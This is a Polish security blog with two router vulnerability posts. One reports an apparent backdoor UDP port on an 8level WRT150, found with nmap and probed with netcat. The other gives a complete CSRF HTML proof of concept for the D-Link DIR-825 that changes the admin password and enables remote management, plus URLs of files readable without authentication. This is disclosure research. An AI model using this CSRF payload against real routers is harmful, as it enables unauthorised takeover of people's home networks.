Monday, March 23, 2015

8 level wrt150- backdoor jak drzwi od stodoły

**Producent powiadomiony- brak odpowiedzi**

Jest to prawdopodobnie ten sam backdoor opisany przez Zaufaną Trzecią Stronę.

Pod koniec zeszłego roku, dzięki uprzejmości kolegi z pracy, miałem okazję podłączyć sobie na testy router firmy 8 level, model WRT 150. Pobieżne (a to błąd) penetracje doprowadziły mnie do wniosku, że urządzenie jest bezpieczne i wyłączyłem je. Nic bardziej mylnego. W myśl powiedzenia "najciemniej jest pod latarnią" ostatnią rzecz jaką miałem zrobić, to przeskanować porty tego sprzętu:

$ sudo nmap 192.168.1.1 -sU -p1-65535 -min-rate 15000 -stats-every 3 -vv -r

i wynik:

PORT      STATE  SERVICE
...
53413/udp open   unknown
...


Pierwsza myśl, to UPnP. Sprawdziłem- wyłączone. Router zaczyna być podejrzany. Skoro port jest otwarty, to znaczy, że czeka na jakiś komunikat


$ nc 192.168.1.1 53413 -u -vv


Monday, March 9, 2015

D-­Link DIR 825 - atak CSRF (po raz drugi)

W poprzednim poście opisałem w jaki sposób możemy uzyskać dostęp do systemu plików routera mając jego firmware, 
a następnie do plików znajdujących się na urządzeniu poprzez usługę TFTP. Usługa ta została wyłączona, co powinno stać się pierwotnie. Możemy ją z powrotem aktywować, modyfikując binarkę, ale tak się nie liczy. 


Tym razem krótszy wpis, bo i nad istotą problemu CSRF nie ma się co rozwodzić. 



Zapomniane hasło i w tym przypadku możemy odzyskać, mając gotowy dokument HTML, po to by zmienić dowolny parametr na routerze. Po przechwyceniu żądania zmiany hasła na proxy, widzimy (część kodu usunąłem, ponieważ był bardzo długi a dotyczył jedynie reguł przekierowania portów):



<html>
  <body>
    <form action="http://192.168.0.1/apply.cgi" method="POST">
      <input type="hidden" name="button" value="Save&#32;Settings" />
      <input type="hidden" name="admin&#95;password&#95;tmp" value="test1234" />
      <input type="hidden" name="admin&#95;password" value="test1234" />
      <input type="hidden" name="admin&#95;password1" value="test1234" />
      <input type="hidden" name="admPass2" value="test1234" />
      <input type="hidden" name="user&#95;password&#95;tmp" value="1234" />
      <input type="hidden" name="user&#95;password" value="1234" />
      <input type="hidden" name="user&#95;password1" value="1234" />
      <input type="hidden" name="usrPass2" value="1234" />
      <input type="hidden" name="hostname" value="router" />
      <input type="hidden" name="graph&#95;auth&#95;enable" value="0" />
      <input type="hidden" name="https&#95;config" value="0&#47;0&#47;8181&#47;8080" />
      <input type="hidden" name="remote&#95;http&#95;management&#95;enable" value="0" />
      <input type="hidden" name="remote&#95;http&#95;management&#95;inbound&#95;filter" value="Allow&#95;All" />
   <input type="submit" value="chakuj!" />
    </form>
  </body>
</html>


Hasło oczywiście zostało zmienione na test1234. Jednocześnie wysłaliśmy żądanie m.in. zmiany hasła dla usera bez praw admina, hostname, zdalne zarządzanie routerem oraz port. 


OK, wracamy do trybu "nie znam hasła". 

Wystarczy powyższy skrypt zmodyfikować, czyli test1234 zmienić na swoją wartość i odpalić plik html w przeglądarce. Nie będąc zalogowanym urządzenie potwierdzi nam zmiany:

Po krótkich testach nie udało mi się potwierdzić ataku na publiczny adres IP, co wcale nie oznacza, że się nie da...


Bez autoryzacji możemy otworzyć pliki tekstowe:

http://192.168.0.1/chklst.txt
http://192.168.0.1/wlan.txt
http://192.168.0.1/HNAP1.txt
http://192.168.0.1/wireless_update.txt

których nie ma (już) w systemie plików w 2.0.9